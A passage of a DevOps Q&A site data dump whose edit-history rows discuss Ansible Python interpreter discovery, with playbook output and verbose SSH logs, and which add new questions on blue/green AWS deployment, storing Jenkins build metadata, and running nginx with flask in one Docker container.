&quot;micro&quot;: 17,&#xD;&#xA;                &quot;minor&quot;: 7,&#xD;&#xA;                &quot;releaselevel&quot;: &quot;final&quot;,&#xD;&#xA;                &quot;serial&quot;: 0&#xD;&#xA;            },&#xD;&#xA;            &quot;version_info&quot;: [&#xD;&#xA;                2,&#xD;&#xA;                7,&#xD;&#xA;                17,&#xD;&#xA;                &quot;final&quot;,&#xD;&#xA;                0&#xD;&#xA;            ]&#xD;&#xA;        },&#xD;&#xA;        &quot;ansible_python_version&quot;: &quot;2.7.17&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;changed&quot;: false&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, `ansible-playbook` behaves differently here. Consider the following playbook:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;- hosts: all&#xD;&#xA;  tasks:&#xD;&#xA;    - debug:&#xD;&#xA;        var: ansible_python&#xD;&#xA;    - debug:&#xD;&#xA;        var: ansible_python_version&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The output becomes:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ansible-playbook -i localhost, -c local dbg.yml&#xD;&#xA;Executing playbook dbg.yml&#xD;&#xA;&#xD;&#xA;- all on hosts: all -&#xD;&#xA;Gathering Facts...&#xD;&#xA;  localhost ok&#xD;&#xA;debug...&#xD;&#xA;  localhost ok: {&#xD;&#xA;    &quot;ansible_python&quot;: {&#xD;&#xA;        &quot;executable&quot;: &quot;/usr/bin/python3&quot;,&#xD;&#xA;        &quot;has_sslcontext&quot;: true,&#xD;&#xA;        &quot;type&quot;: &quot;cpython&quot;,&#xD;&#xA;        &quot;version&quot;: {&#xD;&#xA;            &quot;major&quot;: 3,&#xD;&#xA;            &quot;micro&quot;: 9,&#xD;&#xA;            &quot;minor&quot;: 6,&#xD;&#xA;            &quot;releaselevel&quot;: &quot;final&quot;,&#xD;&#xA;            &quot;serial&quot;: 0&#xD;&#xA;        },&#xD;&#xA;        &quot;version_info&quot;: [&#xD;&#xA;            3,&#xD;&#xA;            6,&#xD;&#xA;            9,&#xD;&#xA;            &quot;final&quot;,&#xD;&#xA;            0&#xD;&#xA;        ]&#xD;&#xA;    },&#xD;&#xA;    &quot;changed&quot;: false&#xD;&#xA;}&#xD;&#xA;debug...&#xD;&#xA;  localhost ok: {&#xD;&#xA;    &quot;ansible_python_version&quot;: &quot;3.6.9&quot;,&#xD;&#xA;    &quot;changed&quot;: false&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;- Play recap -&#xD;&#xA;  localhost                  : ok=3    changed=0    unreachable=0    failed=0    rescued=0    ignored=0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;... **comment out the following line** from `ansible.cfg`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;interpreter_python=auto&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;... and the output (when rerunning the previous command) becomes:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ansible-playbook -i localhost, -c local dbg.yml&#xD;&#xA;Executing playbook dbg.yml&#xD;&#xA;&#xD;&#xA;- all on hosts: all -&#xD;&#xA;Gathering Facts...&#xD;&#xA;  localhost ok&#xD;&#xA;debug...&#xD;&#xA;  localhost ok: {&#xD;&#xA;    &quot;ansible_python&quot;: {&#xD;&#xA;        &quot;executable&quot;: &quot;/usr/bin/python&quot;,&#xD;&#xA;        &quot;has_sslcontext&quot;: true,&#xD;&#xA;        &quot;type&quot;: &quot;CPython&quot;,&#xD;&#xA;        &quot;version&quot;: {&#xD;&#xA;            &quot;major&quot;: 2,&#xD;&#xA;            &quot;micro&quot;: 17,&#xD;&#xA;            &quot;minor&quot;: 7,&#xD;&#xA;            &quot;releaselevel&quot;: &quot;final&quot;,&#xD;&#xA;            &quot;serial&quot;: 0&#xD;&#xA;        },&#xD;&#xA;        &quot;version_info&quot;: [&#xD;&#xA;            2,&#xD;&#xA;            7,&#xD;&#xA;            17,&#xD;&#xA;            &quot;final&quot;,&#xD;&#xA;            0&#xD;&#xA;        ]&#xD;&#xA;    },&#xD;&#xA;    &quot;changed&quot;: false&#xD;&#xA;}&#xD;&#xA;debug...&#xD;&#xA;  localhost ok: {&#xD;&#xA;    &quot;ansible_python_version&quot;: &quot;2.7.17&quot;,&#xD;&#xA;    &quot;changed&quot;: false&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;- Play recap -&#xD;&#xA;  localhost                  : ok=3    changed=0    unreachable=0    failed=0    rescued=0    ignored=0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Nothing [in the documentation](https://docs.ansible.com/ansible/latest/reference_appendices/interpreter_discovery.html) suggests that this should happen." ContentLicense="CC BY-SA 4.0" />
  <row Id="30632" PostHistoryTypeId="5" PostId="10144" RevisionGUID="e370b81c-82e4-4f1c-9ac4-3a0ec5e1ce9e" CreationDate="2019-12-18T17:17:02.203" UserId="7715" Comment="added 925 characters in body" Text="&gt;Q: *&quot;None of that explains why - and that is/was my point - **ansible_python wrongly claims to be running on Python 3.x on the local node**. Because all I do by setting **interpreter_python** in ansible.cfg is to give Ansible free rein on how it interprets things.&quot;*&#xD;&#xA;&#xD;&#xA;A: Configuration option *interpreter_python* works as expected. See Note 1) and examples below. See implementation details of the function [discover_interpreter](https://github.com/ansible/ansible/blob/devel/lib/ansible/executor/interpreter_discovery.py).&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;interpreter_python=auto_legacy&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ansible localhost -m setup -a 'filter=ansible_python_version'&#xD;&#xA;[DEPRECATION WARNING]: Distribution Ubuntu 19.04 on host localhost should use /usr/bin/python3, but is using /usr/bin/python for backward compatibility with prior Ansible releases. A future&#xD;&#xA; Ansible release will default to using the discovered platform python for this host. See https://docs.ansible.com/ansible/2.9/reference_appendices/interpreter_discovery.html for more &#xD;&#xA;information. This feature will be removed in version 2.12. Deprecation warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.&#xD;&#xA;localhost | SUCCESS =&gt; {&#xD;&#xA;    &quot;ansible_facts&quot;: {&#xD;&#xA;        &quot;ansible_python_version&quot;: &quot;2.7.16&quot;, &#xD;&#xA;        &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python&quot;&#xD;&#xA;    }, &#xD;&#xA;    &quot;changed&quot;: false&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;interpreter_python=auto&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ansible localhost -m setup -a 'filter=ansible_python_version'&#xD;&#xA;localhost | SUCCESS =&gt; {&#xD;&#xA;    &quot;ansible_facts&quot;: {&#xD;&#xA;        &quot;ansible_python_version&quot;: &quot;3.7.3&quot;, &#xD;&#xA;        &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python3&quot;&#xD;&#xA;    }, &#xD;&#xA;    &quot;changed&quot;: false&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&gt;Q: *&quot;What does the ansible command line tool have to do with the behavior I see with ansible-playbook?&quot;*&#xD;&#xA;&#xD;&#xA;A: Both ansible command line tool and ansible-playbook will report the same value of *ansible_python_version*. For example&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ansible localhost -m setup | grep ansible_python_version&#xD;&#xA;        &quot;ansible_python_version&quot;: &quot;2.7.16&quot;,&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat playbook.yml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  tasks:&#xD;&#xA;    - debug:&#xD;&#xA;        var: ansible_python_version&#xD;&#xA;&#xD;&#xA;$ ansible-playbook playbook.yml&#xD;&#xA;&#xD;&#xA;ok: [localhost] =&gt; {&#xD;&#xA;    &quot;ansible_python_version&quot;: &quot;2.7.16&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;Notes&#xD;&#xA;&#xD;&#xA;1) [interpreter_python](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#interpreter-python) configuration parameter says:&#xD;&#xA;&#xD;&#xA;&gt; Path to the Python interpreter to be used for module execution **on remote targets**&#xD;&#xA;&#xD;&#xA;See [how to choose a python interpreter for Ansible playbook?](https://stackoverflow.com/questions/59380824/how-to-choose-a-python-interpreter-for-ansible-playbook/)&#xD;&#xA;&#xD;&#xA;2) Ansible will tell what Python is used **on master**&#xD;&#xA;&#xD;&#xA;    $ ansible --version&#xD;&#xA;    ansible 2.9.2&#xD;&#xA;      config file = /home/vlado/.ansible.cfg&#xD;&#xA;      configured module search path = [u'/home/vlado/.ansible/my_modules']&#xD;&#xA;      ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;      executable location = /usr/bin/ansible&#xD;&#xA;      python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;3) [dig](https://docs.ansible.com/ansible/latest/plugins/lookup/dig.html#dig-query-dns-using-the-dnspython-library) says&#xD;&#xA;&#xD;&#xA;&gt; The below requirements are needed **on the local master node** that executes this lookup: dnspython&#xD;&#xA;&#xD;&#xA;4) It's possible to install both versions&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ dpkg -l | grep dnspython&#xD;&#xA;ii  python-dnspython         1.16.0-1 all          DNS toolkit for Python&#xD;&#xA;ii  python3-dnspython        1.16.0-1 all          DNS toolkit for Python 3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;5) All [Ansible packages in Ubuntu](https://packages.ubuntu.com/search?keywords=ansible) have been built with Python2 at the moment.&#xD;&#xA;&#xD;&#xA;6) `ansible_python_interpreter` works as expected&#xD;&#xA;&#xD;&#xA;With Ubuntu **on master** the playbook&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat playbook.yml&#xD;&#xA;- hosts: test_01&#xD;&#xA;  tasks:&#xD;&#xA;    - getent:&#xD;&#xA;        database: hosts&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ cat hosts&#xD;&#xA;test_01 ansible_python_interpreter=/usr/local/bin/python3.6&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ ansible-playbook playbook.yml -i hosts -vvv | grep python&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;  ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; &lt;test_01&gt; SSH: EXEC ssh -C -o ControlMaster=auto -o ControlPersist=60s -o KbdInteractiveAuthentication=no -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o 'User=&quot;admin&quot;' -o ConnectTimeout=10 -o ControlPath=/export/home/vlado.config/.ansible/cp/5a3ab05cf7 -tt test_01 '/bin/sh -c '&quot;'&quot;'sudo -H -S -n  -u root /bin/sh -c '&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'echo BECOME-SUCCESS-xnvwkdksdqqoehvrgebdgcnrzcrmoszv ; /usr/local/bin/python3.6 /home/admin/.ansible/tmp/ansible-tmp-1576667662.62-67468482045094/AnsiballZ_getent.py'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;' &amp;&amp; sleep 0'&quot;'&quot;''&#xD;&#xA;&#xD;&#xA;- ansible-playbook **on master** runs with `python version = 2.7.16`&#xD;&#xA;- module **on remote** (test_01) runs with `/usr/local/bin/python3.6`&#xD;&#xA;&#xD;&#xA;**Change ansible_python_interpreter**&#xD;&#xA;&#xD;&#xA;When the ansible_python_interpreter is changed&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat hosts&#xD;&#xA;test_01 ansible_python_interpreter=/usr/local/bin/python2.7&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;the same playbook gives&#xD;&#xA;&#xD;&#xA;&gt;   ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; &lt;test_01&gt; SSH: EXEC ssh -C -o ControlMaster=auto -o ControlPersist=60s -o KbdInteractiveAuthentication=no -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o 'User=&quot;admin&quot;' -o ConnectTimeout=10 -o ControlPath=/export/home/vlado.config/.ansible/cp/5a3ab05cf7 -tt test_01 '/bin/sh -c '&quot;'&quot;'sudo -H -S -n  -u root /bin/sh -c '&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'echo BECOME-SUCCESS-fidpgwptggdoizirumvjmzuorxqawypu ; /usr/local/bin/python2.7 /home/admin/.ansible/tmp/ansible-tmp-1576668475.22-210929624017605/AnsiballZ_getent.py'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;' &amp;&amp; sleep 0'&quot;'&quot;''&#xD;&#xA;&#xD;&#xA;- ansible-playbook **on master** runs with `python version = 2.7.16`&#xD;&#xA;- but module **on remote** (test_01) runs with `/usr/local/bin/python2.7` as requested&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30634" PostHistoryTypeId="5" PostId="10144" RevisionGUID="10d62bb7-e376-43c9-b94c-a1ed7aa52133" CreationDate="2019-12-18T17:52:00.100" UserId="7715" Comment="added 925 characters in body" Text="&gt;Q: *&quot;None of that explains why - and that is/was my point - **ansible_python wrongly claims to be running on Python 3.x on the local node**. Because all I do by setting **interpreter_python** in ansible.cfg is to give Ansible free rein on how it interprets things.&quot;*&#xD;&#xA;&#xD;&#xA;A: Configuration option *interpreter_python* works as expected i.e. there is nothing wrong when Python3 is discovered (when asked by `interpreter_python=auto`). See Note 1) and examples below.&#xD;&#xA;&#xD;&#xA;* [auto_legacy](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#interpreter-python) default is */usr/bin/python*&#xD;&#xA;&#xD;&#xA;&gt; *&quot;The default value of **auto_legacy** provides all the same behavior, but for backwards-compatibility with older Ansible releases that always defaulted to **/usr/bin/python**, will use that interpreter if present (and issue a warning that the default behavior will change to that of auto in a future Ansible release.&quot;*&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;interpreter_python=auto_legacy&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ansible localhost -m setup -a 'filter=ansible_python_version'&#xD;&#xA;[DEPRECATION WARNING]: Distribution Ubuntu 19.04 on host localhost should use /usr/bin/python3, but is using /usr/bin/python for backward compatibility with prior Ansible releases. A future&#xD;&#xA; Ansible release will default to using the discovered platform python for this host. See https://docs.ansible.com/ansible/2.9/reference_appendices/interpreter_discovery.html for more &#xD;&#xA;information. This feature will be removed in version 2.12. Deprecation warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.&#xD;&#xA;localhost | SUCCESS =&gt; {&#xD;&#xA;    &quot;ansible_facts&quot;: {&#xD;&#xA;        &quot;ansible_python_version&quot;: &quot;2.7.16&quot;, &#xD;&#xA;        &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python&quot;&#xD;&#xA;    }, &#xD;&#xA;    &quot;changed&quot;: false&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;* auto&#xD;&#xA;&#xD;&#xA;See implementation details of the function [discover_interpreter](https://github.com/ansible/ansible/blob/devel/lib/ansible/executor/interpreter_discovery.py).&#xD;&#xA;&#xD;&#xA;When the version of the distro is not in [INTERPRETER_PYTHON_DISTRO_MAP](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#interpreter-python-distro-map)&#xD;&#xA;&#xD;&#xA;&gt;*&quot;return nearest previous version we're newer than&quot;*&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def _version_fuzzy_match(version, version_map):&#xD;&#xA;...&#xD;&#xA;    # slot match; return nearest previous version we're newer than&#xD;&#xA;    kpos = bisect.bisect(sorted_looseversions, find_looseversion)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;interpreter_python=auto&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ansible localhost -m setup -a 'filter=ansible_python_version'&#xD;&#xA;localhost | SUCCESS =&gt; {&#xD;&#xA;    &quot;ansible_facts&quot;: {&#xD;&#xA;        &quot;ansible_python_version&quot;: &quot;3.7.3&quot;, &#xD;&#xA;        &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python3&quot;&#xD;&#xA;    }, &#xD;&#xA;    &quot;changed&quot;: false&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&gt;Q: *&quot;What does the ansible command line tool have to do with the behavior I see with ansible-playbook?&quot;*&#xD;&#xA;&#xD;&#xA;A: Both ansible command line tool and ansible-playbook will report the same value of *ansible_python_version*. For example&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ansible localhost -m setup | grep ansible_python_version&#xD;&#xA;        &quot;ansible_python_version&quot;: &quot;2.7.16&quot;,&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat playbook.yml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  tasks:&#xD;&#xA;    - debug:&#xD;&#xA;        var: ansible_python_version&#xD;&#xA;&#xD;&#xA;$ ansible-playbook playbook.yml&#xD;&#xA;&#xD;&#xA;ok: [localhost] =&gt; {&#xD;&#xA;    &quot;ansible_python_version&quot;: &quot;2.7.16&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;Notes&#xD;&#xA;&#xD;&#xA;1) [interpreter_python](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#interpreter-python) configuration parameter says:&#xD;&#xA;&#xD;&#xA;&gt; Path to the Python interpreter to be used for module execution **on remote targets**&#xD;&#xA;&#xD;&#xA;See [how to choose a python interpreter for Ansible playbook?](https://stackoverflow.com/questions/59380824/how-to-choose-a-python-interpreter-for-ansible-playbook/)&#xD;&#xA;&#xD;&#xA;2) Ansible will tell what Python is used **on master**&#xD;&#xA;&#xD;&#xA;    $ ansible --version&#xD;&#xA;    ansible 2.9.2&#xD;&#xA;      config file = /home/vlado/.ansible.cfg&#xD;&#xA;      configured module search path = [u'/home/vlado/.ansible/my_modules']&#xD;&#xA;      ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;      executable location = /usr/bin/ansible&#xD;&#xA;      python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;3) [dig](https://docs.ansible.com/ansible/latest/plugins/lookup/dig.html#dig-query-dns-using-the-dnspython-library) says&#xD;&#xA;&#xD;&#xA;&gt; The below requirements are needed **on the local master node** that executes this lookup: dnspython&#xD;&#xA;&#xD;&#xA;4) It's possible to install both versions&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ dpkg -l | grep dnspython&#xD;&#xA;ii  python-dnspython         1.16.0-1 all          DNS toolkit for Python&#xD;&#xA;ii  python3-dnspython        1.16.0-1 all          DNS toolkit for Python 3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;5) All [Ansible packages in Ubuntu](https://packages.ubuntu.com/search?keywords=ansible) have been built with Python2 at the moment.&#xD;&#xA;&#xD;&#xA;6) `ansible_python_interpreter` works as expected&#xD;&#xA;&#xD;&#xA;With Ubuntu **on master** the playbook&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat playbook.yml&#xD;&#xA;- hosts: test_01&#xD;&#xA;  tasks:&#xD;&#xA;    - getent:&#xD;&#xA;        database: hosts&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ cat hosts&#xD;&#xA;test_01 ansible_python_interpreter=/usr/local/bin/python3.6&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ ansible-playbook playbook.yml -i hosts -vvv | grep python&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;  ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; &lt;test_01&gt; SSH: EXEC ssh -C -o ControlMaster=auto -o ControlPersist=60s -o KbdInteractiveAuthentication=no -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o 'User=&quot;admin&quot;' -o ConnectTimeout=10 -o ControlPath=/export/home/vlado.config/.ansible/cp/5a3ab05cf7 -tt test_01 '/bin/sh -c '&quot;'&quot;'sudo -H -S -n  -u root /bin/sh -c '&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'echo BECOME-SUCCESS-xnvwkdksdqqoehvrgebdgcnrzcrmoszv ; /usr/local/bin/python3.6 /home/admin/.ansible/tmp/ansible-tmp-1576667662.62-67468482045094/AnsiballZ_getent.py'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;' &amp;&amp; sleep 0'&quot;'&quot;''&#xD;&#xA;&#xD;&#xA;- ansible-playbook **on master** runs with `python version = 2.7.16`&#xD;&#xA;- module **on remote** (test_01) runs with `/usr/local/bin/python3.6`&#xD;&#xA;&#xD;&#xA;**Change ansible_python_interpreter**&#xD;&#xA;&#xD;&#xA;When the ansible_python_interpreter is changed&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat hosts&#xD;&#xA;test_01 ansible_python_interpreter=/usr/local/bin/python2.7&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;the same playbook gives&#xD;&#xA;&#xD;&#xA;&gt;   ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; &lt;test_01&gt; SSH: EXEC ssh -C -o ControlMaster=auto -o ControlPersist=60s -o KbdInteractiveAuthentication=no -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o 'User=&quot;admin&quot;' -o ConnectTimeout=10 -o ControlPath=/export/home/vlado.config/.ansible/cp/5a3ab05cf7 -tt test_01 '/bin/sh -c '&quot;'&quot;'sudo -H -S -n  -u root /bin/sh -c '&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'echo BECOME-SUCCESS-fidpgwptggdoizirumvjmzuorxqawypu ; /usr/local/bin/python2.7 /home/admin/.ansible/tmp/ansible-tmp-1576668475.22-210929624017605/AnsiballZ_getent.py'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;' &amp;&amp; sleep 0'&quot;'&quot;''&#xD;&#xA;&#xD;&#xA;- ansible-playbook **on master** runs with `python version = 2.7.16`&#xD;&#xA;- but module **on remote** (test_01) runs with `/usr/local/bin/python2.7` as requested&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30635" PostHistoryTypeId="2" PostId="10153" RevisionGUID="e42e46a6-8ad0-433b-9a76-8c0509f43717" CreationDate="2019-12-18T18:44:16.600" UserId="18719" Text="I'm building some new infrastructure in AWS and plan on having separate accounts for dev, stage, and prod environments. I'd like to implement a blue/green deployment strategy at least for production, and I've seen a few different ways this could be done, an obvious one being CodeDeploy's built-in blue/green deployment capability.&#xD;&#xA;&#xD;&#xA;Someone suggested to me that the stage/prod environments could be thought of as the blue and green environments. They are, after all, supposed to be identical environments, but I hadn't thought of stage being something that could act as a production platform. I think stage is supposed to be for end-to-end testing, final verifications by QA, demos, etc.&#xD;&#xA;&#xD;&#xA;So, I believe stage should continue to be for internal purposes only. But we may need two production accounts. At any given time each of them would be expected to contain a combination of inactive and active services (blues and greens). DNS (Route 53) would be in a shared account, and when a release occurs it would switch routings from resources in one account to resources in the other one.&#xD;&#xA;&#xD;&#xA;Then, it kind of seems like having stage is less useful when you have blue/green. When a new release is in the inactive state and going through the most comprehensive tests, it's essentially what stage does. And we don't even really have QA--developers and our customers are the QA. So can we get rid of it? I have heard praises sung of having a straight-to-production strategy whenever automated testing is taken seriously enough.&#xD;&#xA;&#xD;&#xA;Is this sensible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30636" PostHistoryTypeId="1" PostId="10153" RevisionGUID="e42e46a6-8ad0-433b-9a76-8c0509f43717" CreationDate="2019-12-18T18:44:16.600" UserId="18719" Text="Relation/interplay of deployment pipeline stages (dev-stage-prod) with blue/green deployment mechanisms?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30637" PostHistoryTypeId="3" PostId="10153" RevisionGUID="e42e46a6-8ad0-433b-9a76-8c0509f43717" CreationDate="2019-12-18T18:44:16.600" UserId="18719" Text="&lt;amazon-web-services&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30638" PostHistoryTypeId="2" PostId="10154" RevisionGUID="9bea91de-1a47-47a3-9652-3b7565df9553" CreationDate="2019-12-18T20:04:09.690" UserId="15792" Text="Yes.  With no QA and wanting to have an internal environment separated from production this makes sense.  However, a couple comments:&#xD;&#xA;&#xD;&#xA; - You should go for whatever is going to make your business money instead of going for an enterprise standard.  While some of the common practices may not be sensible yet, keep in mind that as your company grows (e.g. a dedicated QA role), they might eventually be very useful.&#xD;&#xA; - If you get rid of any stages, you are essentially eliminating a development environment.  Straight to production can be great, or greatly harmful." ContentLicense="CC BY-SA 4.0" />
  <row Id="30639" PostHistoryTypeId="12" PostId="10154" RevisionGUID="97e341b5-b954-40ef-a4e6-6ffcbb2ef01d" CreationDate="2019-12-18T20:05:18.017" UserId="15792" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:15792,&quot;DisplayName&quot;:&quot;Wesley Rolnick&quot;}]}" />
  <row Id="30640" PostHistoryTypeId="13" PostId="10154" RevisionGUID="deb2236c-213b-40af-b9dc-d2946b50ffce" CreationDate="2019-12-18T20:08:01.440" UserId="15792" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:15792,&quot;DisplayName&quot;:&quot;Wesley Rolnick&quot;}]}" />
  <row Id="30650" PostHistoryTypeId="2" PostId="10157" RevisionGUID="fda42b85-8e18-41a5-84af-850cb89b2839" CreationDate="2019-12-19T11:52:05.707" UserId="18729" Text="I have a job which I run with a boolean parameter called &quot;BUILD_CLEAN=true&quot;, and it defaults to false. I can store this flag in the job ID `currentBuild.displayName` . Simple enough. But for my purposes I also want to save the commit hash(es) of that build as well, which starts becoming a silly place to store metadata. I'm probably not getting the terminology right, but here is my use case.&#xD;&#xA;&#xD;&#xA;My Pipeline declarative job builds a repo, a subrepo and all using shell, and archives the binary artifacts. The code is of mixed types, so Artifactory is not an option for part of this solution either. I want to save just the hashes someplace, to make it easy for subsequent builds made in the same day (24 hours) to inspect/list them, and trigger a separate job with the full list for that day. Do I save these hashes/values into an XML file per build? What is the best way to make extracting small pieces of data easy? GOAL: I'm attempting to implement a kind of generalized incremental build job, but am unable to use any of the plugins since I'm building for 5 different targets, some of them across nodes.&#xD;&#xA;&#xD;&#xA;TAGS: Jenkins,pipeline,tags,incremental (I'm unable to define any tags due to the rep system.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="30651" PostHistoryTypeId="1" PostId="10157" RevisionGUID="fda42b85-8e18-41a5-84af-850cb89b2839" CreationDate="2019-12-19T11:52:05.707" UserId="18729" Text="Store data in Jenkins job description" ContentLicense="CC BY-SA 4.0" />
  <row Id="30652" PostHistoryTypeId="3" PostId="10157" RevisionGUID="fda42b85-8e18-41a5-84af-850cb89b2839" CreationDate="2019-12-19T11:52:05.707" UserId="18729" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30653" PostHistoryTypeId="6" PostId="10157" RevisionGUID="908f840a-7ef0-4356-b8e9-3b5b4db64ea6" CreationDate="2019-12-19T12:05:37.337" UserId="354" Comment="Added tags requested" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30654" PostHistoryTypeId="2" PostId="10158" RevisionGUID="d5a7ba72-2ef5-40f4-9475-2ea9470c2f52" CreationDate="2019-12-19T13:06:52.330" UserId="18730" Text="I want to deploy a web app as a docker container. Currently I need to set up nginx, gunicorn and flask to realize this. There are many guides around to do it in docker but always divide it in two docker containers:&#xA;&#xA; 1. flask, gunicorn&#xA; 2. nginx&#xA;&#xA;Is it possible and a good idea to use all three components in just a single docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30655" PostHistoryTypeId="1" PostId="10158" RevisionGUID="d5a7ba72-2ef5-40f4-9475-2ea9470c2f52" CreationDate="2019-12-19T13:06:52.330" UserId="18730" Text="Is it a bad idea to use a web app including nginx, gunicorn and flask in a single docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30656" PostHistoryTypeId="3" PostId="10158" RevisionGUID="d5a7ba72-2ef5-40f4-9475-2ea9470c2f52" CreationDate="2019-12-19T13:06:52.330" UserId="18730" Text="&lt;docker&gt;&lt;python&gt;&lt;nginx&gt;&lt;flask&gt;" ContentLicense="CC BY-SA 4.0" />
